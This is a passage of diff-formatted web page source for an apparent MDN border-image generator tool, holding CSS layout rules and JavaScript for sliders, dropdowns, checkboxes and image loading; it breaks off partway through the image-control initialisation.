+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] &gt; * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider &gt; input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time &lt; 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index &gt;= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j&lt;4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i &lt; positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
